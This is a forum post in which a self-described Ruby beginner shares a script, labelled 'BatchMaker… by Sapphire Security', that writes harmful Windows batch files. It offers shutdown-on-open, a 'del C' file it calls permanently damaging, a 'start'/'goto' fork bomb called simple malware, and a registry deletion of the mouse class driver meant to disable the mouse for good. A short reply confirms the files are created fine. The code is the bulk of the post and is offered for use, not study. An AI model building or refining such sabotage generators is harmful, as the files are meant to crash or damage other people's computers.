Hi guys, I am new to ruby, and I am trying to create a simple script that opens file, but it doesn’t work!

```auto
system "color 9f"
puts "Eseguendo BatchMaker… by Sapphire Security"
system "timeout 3 > nul"
puts "Ecco i principali comandi, il comando ‘pcdown’, che può essere impiegato per la realizzazione"
puts "di file batch che appena aperti spengono il proprio computer; il comando ‘ripcomputer’, che"
puts "viene usato per la creazione di file batch che danneggiano un pc permanentemente, e ‘simplemalware’, che"
puts "crea un virus semplice, che se non contrastato subito può causare molti problemi."
puts "Esistono anche più comandi, come per esempio il 'blockmouse', che se aperto disabilita il mouse"
puts "in modo permanente."
puts "Scelta:"
scelta = gets.chomp
if scelta == "pcdown"
	File.open('pcdown.bat', 'w') do |pcdown|
	pcdown.puts "shutdown -p"
end
elsif scelta == "ripcomputer"
	File.open('ripcomputer.bat', 'w') do |ripcomputer|
		ripcomputer.puts "del C"
	end
elsif scelta == "simplemalware"
	File.open('simplemalware.bat', 'w') do |simplemalware|
		simplemalware.puts ":1"
		simplemalware.puts "start"
		simplemalware.puts "goto 1"
	end
elsif scelta == "blockmouse"
	File.open('blockmouse.bat', 'w') do |blockmouse|
		blockmouse.puts 'rem -----------'
		blockmouse.puts 'rem Disable Mouse'
		blockmouse.puts 'set key=HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass'
		blockmouse.puts 'reg delete %key%'
		blockmouse.puts 'rem -----------'
	end
else
puts "Scelta non valida."
end

```

I tried running your code and the .bat files seem to be created fine.  
What exactly is going wrong?
